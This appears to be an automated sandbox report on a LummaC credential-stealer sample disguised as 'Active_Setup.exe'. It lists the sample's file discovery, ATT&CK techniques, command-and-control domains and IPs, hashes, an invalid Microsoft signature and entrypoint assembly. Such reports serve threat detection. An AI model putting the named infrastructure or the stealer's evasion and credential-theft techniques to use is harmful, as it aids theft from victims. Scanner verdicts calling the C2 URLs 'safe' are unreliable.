Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\LIJDSFKJZG	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\Active_Setup.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior

Source: Yara match

File source: Process Memory Space: Active_Setup.exe PID: 7284, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Active_Setup.exe PID: 7284, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Screen Capture	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Deobfuscate/Decode Files or Information	LSASS Memory	241 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	41 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	11 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	33 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Active_Setup.exe	3%	ReversingLabs
Active_Setup.exe	7%	Virustotal		Browse

Source	Detection	Scanner	Label
https://arisealert.click/apita	0%	Avira URL Cloud	safe
arisealert.click	0%	Avira URL Cloud	safe
https://klipvumisui.shop/int_clp_sha.txtU	100%	Avira URL Cloud	malware
https://cegu.shop/	100%	Avira URL Cloud	malware
https://arisealert.click/pk	0%	Avira URL Cloud	safe
https://arisealert.click/s	0%	Avira URL Cloud	safe
https://arisealert.click:443/apiC	0%	Avira URL Cloud	safe
https://cegu.shop/8574262446/ph.txttDon	100%	Avira URL Cloud	malware
https://cegu.shop/N	100%	Avira URL Cloud	malware
https://arisealert.click/p	0%	Avira URL Cloud	safe
https://arisealert.click/apiU	0%	Avira URL Cloud	safe
https://cegu.shop/H	100%	Avira URL Cloud	malware
https://cegu.shop/8574262446/ph.txtx	100%	Avira URL Cloud	malware
https://arisealert.click/api	0%	Avira URL Cloud	safe
https://arisealert.click/	0%	Avira URL Cloud	safe
https://cegu.shop/t	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cegu.shop	185.161.251.21	true	false	high
arisealert.click	104.21.52.90	true	true	unknown
206.23.85.13.in-addr.arpa	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
rabidcowse.shop	false		high
arisealert.click	true	Avira URL Cloud: safe	unknown
wholersorie.shop	false		high
cloudewahsj.shop	false		high
noisycuttej.shop	false		high
nearycrepso.shop	false		high
https://cegu.shop/8574262446/ph.txt	false		high
framekgirus.shop	false		high
https://arisealert.click/api	true	Avira URL Cloud: safe	unknown
tirepublicerj.shop	false		high
abruptyopsn.shop	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://arisealert.click/apita	Active_Setup.exe, 00000000.00000003.2141260406.0000000000861000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2141065383.0000000000859000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000002.3686493265.0000000000862000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	Active_Setup.exe, 00000000.00000003.1363775686.0000000003BCA000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1363683198.0000000003BE1000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364323945.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364839203.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	Active_Setup.exe, 00000000.00000003.1363775686.0000000003BCA000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1363683198.0000000003BE1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Active_Setup.exe, 00000000.00000003.1363775686.0000000003BCA000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1363683198.0000000003BE1000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364323945.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364839203.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://klipvumisui.shop/int_clp_sha.txtU	Active_Setup.exe, 00000000.00000002.3686655552.00000000008B2000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2140094418.00000000008B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cegu.shop/	Active_Setup.exe, Active_Setup.exe, 00000000.00000003.2141127002.0000000000877000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2140094418.000000000086A000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000002.3686537678.0000000000879000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Active_Setup.exe, 00000000.00000003.1363775686.0000000003BCA000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1363683198.0000000003BE1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Active_Setup.exe, 00000000.00000003.1390834178.0000000003E2D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://arisealert.click:443/apiC	Active_Setup.exe, 00000000.00000003.1470694897.0000000003BB5000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1470714212.0000000003BB8000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1482827375.0000000003BB9000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1471139574.0000000003BB9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dfgh.online/invoker.php?compName=	Active_Setup.exe, Active_Setup.exe, 00000000.00000003.2141127002.0000000000877000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000002.3688375769.0000000003BBF000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000002.3686829759.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2140094418.000000000086A000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000002.3686537678.0000000000879000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2140339829.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2141200053.00000000008F7000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2140094418.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2141159649.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2140018540.0000000003BBA000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000002.3686999015.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Active_Setup.exe, 00000000.00000003.1363775686.0000000003BCA000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1376774816.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1363683198.0000000003BE1000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364323945.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364839203.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	Active_Setup.exe, 00000000.00000003.1390834178.0000000003E2D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://arisealert.click/pk	Active_Setup.exe, 00000000.00000003.1470593836.00000000008AF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://arisealert.click/s	Active_Setup.exe, 00000000.00000003.1481405199.00000000008AF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	Active_Setup.exe, 00000000.00000003.1363775686.0000000003BCA000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1376774816.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1363683198.0000000003BE1000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364323945.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364839203.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cegu.shop/8574262446/ph.txttDon	Active_Setup.exe, 00000000.00000002.3686829759.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2140339829.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2141159649.00000000008D7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cegu.shop/N	Active_Setup.exe, 00000000.00000003.2141127002.0000000000877000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2140094418.000000000086A000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000002.3686537678.0000000000879000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Active_Setup.exe, 00000000.00000003.1391700986.000000000403F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://arisealert.click/p	Active_Setup.exe, 00000000.00000003.1470593836.00000000008AF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://arisealert.click/apiU	Active_Setup.exe, 00000000.00000002.3688375769.0000000003BBF000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2140018540.0000000003BBA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	Active_Setup.exe, 00000000.00000003.1363775686.0000000003BCA000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1376774816.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1363683198.0000000003BE1000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364323945.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364839203.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cegu.shop/H	Active_Setup.exe, 00000000.00000003.2141127002.0000000000877000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2140094418.000000000086A000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000002.3686537678.0000000000879000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.micro	Active_Setup.exe, 00000000.00000003.1481405199.00000000008AF000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1470593836.00000000008AF000.00000004.00000020.00020000.00000000.sdmp	false		high
https://arisealert.click/	Active_Setup.exe, 00000000.00000003.1481405199.00000000008AF000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000002.3688323243.0000000003BB0000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1470593836.00000000008AF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.remobjects.com/ps	Active_Setup.exe	false		high
http://x1.c.lencr.org/0	Active_Setup.exe, 00000000.00000003.1390834178.0000000003E2D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	Active_Setup.exe, 00000000.00000003.1390834178.0000000003E2D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cegu.shop/8574262446/ph.txtx	Active_Setup.exe, 00000000.00000003.2141127002.0000000000877000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2140094418.000000000086A000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000002.3686537678.0000000000879000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Active_Setup.exe, 00000000.00000003.1363775686.0000000003BCA000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1376774816.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1363683198.0000000003BE1000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364323945.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364839203.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.innosetup.com/	Active_Setup.exe	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	Active_Setup.exe, 00000000.00000003.1390834178.0000000003E2D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cegu.shop/t	Active_Setup.exe, 00000000.00000003.2141127002.0000000000877000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2140094418.000000000086A000.00000004.00000020.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000002.3686537678.0000000000879000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	Active_Setup.exe, 00000000.00000003.1391700986.000000000403F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Active_Setup.exe, 00000000.00000003.1363775686.0000000003BCA000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1376774816.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1363683198.0000000003BE1000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364323945.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1364839203.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://arisealert.click/apiu	Active_Setup.exe, 00000000.00000003.1484141177.0000000003BBC000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000002.3688375769.0000000003BBF000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.1482827375.0000000003BB9000.00000004.00000800.00020000.00000000.sdmp, Active_Setup.exe, 00000000.00000003.2140018540.0000000003BBA000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://klipvumisui.shop/int_clp_sha.txt	Active_Setup.exe, 00000000.00000003.2140094418.00000000008B2000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.52.90	arisealert.click	United States		13335	CLOUDFLARENETUS	true
185.161.251.21	cegu.shop	United Kingdom		5089	NTLGB	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582858
Start date and time:	2024-12-31 17:10:23 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Active_Setup.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@3/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 53% Number of executed functions: 17 Number of non-executed functions: 38
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 4.245.163.56, 13.85.23.206, 20.109.210.53
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:11:27	API Interceptor	10x Sleep call for process: Active_Setup.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
185.161.251.21	Poket.mp4.hta	Get hash	malicious	LummaC	Browse
	setup.exe	Get hash	malicious	LummaC	Browse
	Active_Setup.exe	Get hash	malicious	LummaC	Browse
	Set-up.exe	Get hash	malicious	LummaC	Browse
	#Setup.exe	Get hash	malicious	LummaC	Browse
	installer_1.05_36.5.exe	Get hash	malicious	LummaC	Browse
	@Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	Winter.mp4.hta	Get hash	malicious	LummaC	Browse
	MdhO83N5Fm.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cegu.shop	Poket.mp4.hta	Get hash	malicious	LummaC	Browse	185.161.251.21
	setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Active_Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	#Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	installer_1.05_36.5.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	@Setup.exe	Get hash	malicious	LummaC Stealer	Browse	185.161.251.21
	Winter.mp4.hta	Get hash	malicious	LummaC	Browse	185.161.251.21
	MdhO83N5Fm.exe	Get hash	malicious	LummaC	Browse	185.161.251.21

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	setup.msi	Get hash	malicious	Unknown	Browse	188.114.97.3
	NL Hybrid.exe	Get hash	malicious	Titanium Proxy, PureLog Stealer	Browse	104.21.24.64
	over.ps1	Get hash	malicious	Vidar	Browse	172.64.41.3
	NL Hybrid.exe	Get hash	malicious	Titanium Proxy, PureLog Stealer	Browse	172.67.217.81
	http://trezorbridge.org/	Get hash	malicious	Unknown	Browse	104.16.79.73
	http://knoxoms.com	Get hash	malicious	Unknown	Browse	188.114.97.3
	EdYEXasNiR.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	SMmAznmdAa.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
	DypA6KbLrn.lnk	Get hash	malicious	Unknown	Browse	104.21.87.65
	IOnqEVA4Dz.lnk	Get hash	malicious	Unknown	Browse	172.67.129.82
NTLGB	Poket.mp4.hta	Get hash	malicious	LummaC	Browse	185.161.251.21
	kwari.arm.elf	Get hash	malicious	Unknown	Browse	80.4.160.37
	setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Active_Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	#Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	botx.ppc.elf	Get hash	malicious	Mirai	Browse	82.31.53.184
	botx.mpsl.elf	Get hash	malicious	Mirai	Browse	62.31.100.59
	loligang.ppc.elf	Get hash	malicious	Mirai	Browse	82.37.70.27

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	SMmAznmdAa.exe	Get hash	malicious	LummaC	Browse	104.21.52.90 185.161.251.21
	zhMQ0hNEmb.exe	Get hash	malicious	LummaC	Browse	104.21.52.90 185.161.251.21
	2RxMkSAgZ8.exe	Get hash	malicious	LummaC	Browse	104.21.52.90 185.161.251.21
	Dl6wuWiQdg.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	104.21.52.90 185.161.251.21
	bzzF5OFbVi.exe	Get hash	malicious	LummaC	Browse	104.21.52.90 185.161.251.21
	PO#5_tower_Dec162024.cmd	Get hash	malicious	DBatLoader	Browse	104.21.52.90 185.161.251.21
	x6VtGfW26X.exe	Get hash	malicious	LummaC	Browse	104.21.52.90 185.161.251.21
	re5.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.52.90 185.161.251.21
	Poket.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.52.90 185.161.251.21
	Exlan_setup_v3.1.2.exe	Get hash	malicious	LummaC	Browse	104.21.52.90 185.161.251.21

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	0.8301606363145327
TrID:	Win32 Executable (generic) a (10002005/4) 98.88% Inno Setup installer (109748/4) 1.08% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Active_Setup.exe
File size:	78'065'437 bytes
MD5:	e33268982207781838161261e248276b
SHA1:	892974179ab18b8ee149137d16ca595db97500a0
SHA256:	f9af65ed05caa99519eb5083daf6a39c1a467576a1465a4fa44759f861bce244
SHA512:	8765ded1fed71da6ec40423b3409f11fe1f33ab3651f0be0e2525dd1a8c4f112629a4af883bd75202a81cf2114cfc813320a7e8f4dfaf197ad64d460894b8539
SSDEEP:	49152:zdJYVM+9JtzgWnoS2VC23aun8+f5KuG2OY9IG9ivyv2cLt1RQGDmt1fl8IrA:ZJYVM+LtUt3P/KuG2ONG9iq3RQGAnJrA
TLSH:	BA087F97A202FB75CB8A8D3615E3EBC954B77510231186E79ADC364CEE2B4C8073B527
File Content Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x6adbf4
Entrypoint Section:	.itext
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6690DABC [Fri Jul 12 07:26:52 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	d6ea28a9f4da0730c2562f3beec87130

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Microsoft Code Signing PCA 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	15/12/2020 22:24:20 02/12/2021 22:24:20
Subject Chain	CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Version:	3
Thumbprint MD5:	4068B1B0494EFA79F5A751DCCA8111CD
Thumbprint SHA-1:	914A09C2E02C696AF394048BCB8D95449BCD5B9E
Thumbprint SHA-256:	4A838904E732A380E2856A9D6FEE926E5C57EB59336292AC5D9E47C9B2C1ED13
Serial:	33000003DFFB6AE3F427ECB6A30000000003DF

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
push ebx
push esi
push edi
mov eax, 006A1758h
call 00007F8DC45B1622h
mov eax, dword ptr [006B7ADCh]
mov eax, dword ptr [eax]
mov eax, dword ptr [eax+00000190h]
push FFFFFFECh
push eax
call 00007F8DC45B5C55h
mov edx, dword ptr [006B7ADCh]
mov edx, dword ptr [edx]
mov edx, dword ptr [edx+00000190h]
and eax, FFFFFF7Fh
push eax
push FFFFFFECh
push edx
call 00007F8DC45B5C41h
xor eax, eax
push ebp
push 006ADC85h
push dword ptr fs:[eax]
